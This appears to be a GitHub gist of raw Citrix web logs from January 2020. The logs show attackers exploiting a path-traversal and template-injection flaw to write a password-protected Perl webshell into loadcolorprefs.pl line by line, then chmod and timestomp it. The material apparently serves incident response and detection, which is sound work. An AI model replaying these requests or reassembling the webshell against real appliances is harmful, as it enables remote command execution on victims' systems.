Skip to content

Instantly share code, notes, and snippets.

@rxwx

rxwx/citrix.log Secret

Created June 23, 2020 15:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rxwx/256da8f1f6ddf8d0f851c24c434bab49 to your computer and use it in GitHub Desktop.
Save rxwx/256da8f1f6ddf8d0f851c24c434bab49 to your computer and use it in GitHub Desktop.
Download ZIP
Citrix loadcolorprefs.pl webshell activity
Raw
citrix.log
January 31st 2020, 15:44:26.000 23.129.64.181 /vpn/../vpns/portal/1a69fba9%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:44:04.000 185.220.100.246 /vpn/../vpns/portal/b3f668b4%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:43:42.000 23.129.64.208 /vpn/../vpns/portal/2e2d1c4a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:43:20.000 185.220.101.77 /vpn/../vpns/portal/3194d2a5%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:42:58.000 23.129.64.232 /vpn/../vpns/portal/31491e6e%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:42:35.000 23.129.64.232 /vpn/../vpns/portal/8375a8ba%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:42:13.000 192.42.116.18 /vpn/../vpns/portal/f1f57f9a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:41:51.000 185.107.47.171 /vpn/../vpns/portal/099c45c4%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:41:27.000 89.34.27.48 /vpn/../vpns/portal/e008ec1e%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:41:04.000 23.129.64.225 /vpn/../vpns/portal/06eaa963%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:40:42.000 51.15.1.221 /vpn/../vpns/portal/99dc526e%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:40:20.000 23.129.64.207 /vpn/../vpns/portal/f785b3af%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:39:58.000 198.98.53.61 /vpn/../vpns/portal/c56a5d14%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:39:36.000 198.98.53.61 /vpn/../vpns/portal/0c2b3acb%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:39:14.000 198.98.53.61 /vpn/../vpns/portal/490bbb93%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:38:53.000 198.98.53.61 /vpn/../vpns/portal/15259152%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:38:31.000 163.172.41.228 /vpn/../vpns/portal/74089f63%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:36:45.000 185.220.101.75 /vpn/../vpns/portal/ff016b6d%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:36:23.000 23.129.64.202 /vpn/../vpns/portal/1098acdc%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:35:59.000 23.129.64.232 /vpn/../vpns/portal/1b834153%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:35:37.000 185.10.68.30 /vpn/../vpns/portal/69c24f97%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:35:14.000 198.12.66.116 /vpn/../vpns/portal/0407724b%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:34:52.000 178.20.55.16 /vpn/../vpns/portal/873d32cc%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:34:30.000 23.129.64.208 /vpn/../vpns/portal/b2e1d772%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:34:07.000 23.129.64.191 /vpn/../vpns/portal/2edc7651%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:33:44.000 158.174.122.199 /vpn/../vpns/portal/ce148fd9%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:33:18.000 23.129.64.223 /vpn/../vpns/portal/bee2a5df%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:32:54.000 89.234.174.47 /vpn/../vpns/portal/2339b4e6%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:32:30.000 178.17.171.110 /vpn/../vpns/portal/f64fc463%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:32:05.000 23.129.64.180 /vpn/../vpns/portal/b42338bc%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:31:30.000 23.129.64.194 /vpn/../vpns/portal/e090b1ec%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:31:07.000 23.129.64.227 /vpn/../vpns/portal/c8374384%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:30:44.000 23.129.64.227 /vpn/../vpns/portal/361f291a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 31st 2020, 15:30:20.000 80.127.116.96 /vpn/../vpns/portal/c31a4d78%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:44:01.000 23.129.64.183 /vpn/../vpns/portal/12ef96d3%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:43:39.000 23.129.64.224 /vpn/../vpns/portal/20ab47a5%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:43:16.000 185.220.101.58 /vpn/../vpns/portal/b3b10076%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:55.000 23.129.64.185 /vpn/../vpns/portal/bc7080a9%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:53.000 23.129.64.153 /vpn/../vpns/portal/4ae9a8e2%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:32.000 23.129.64.234 /vpn/../vpns/portal/eeb170b9%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:31.000 23.129.64.224 /vpn/../vpns/portal/d1eb81da%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:09.000 23.129.64.150 /vpn/../vpns/portal/c4a5b839%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:42:09.000 23.129.64.150 /vpn/../vpns/portal/181e7cf1%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:46.000 23.129.64.222 /vpn/../vpns/portal/27eaa565%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:46.000 104.244.76.245 /vpn/../vpns/portal/62a38b11%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:24.000 178.175.148.34 /vpn/../vpns/portal/32fc599a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:22.000 178.175.148.34 /vpn/../vpns/portal/e44a1474%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:00.000 23.129.64.214 /vpn/../vpns/portal/6eb1488b%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:41:00.000 23.129.64.230 /vpn/../vpns/portal/7cda582f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:40:37.000 104.244.76.245 /vpn/../vpns/portal/27168835%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:40:35.000 104.244.76.245 /vpn/../vpns/portal/113b740b%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
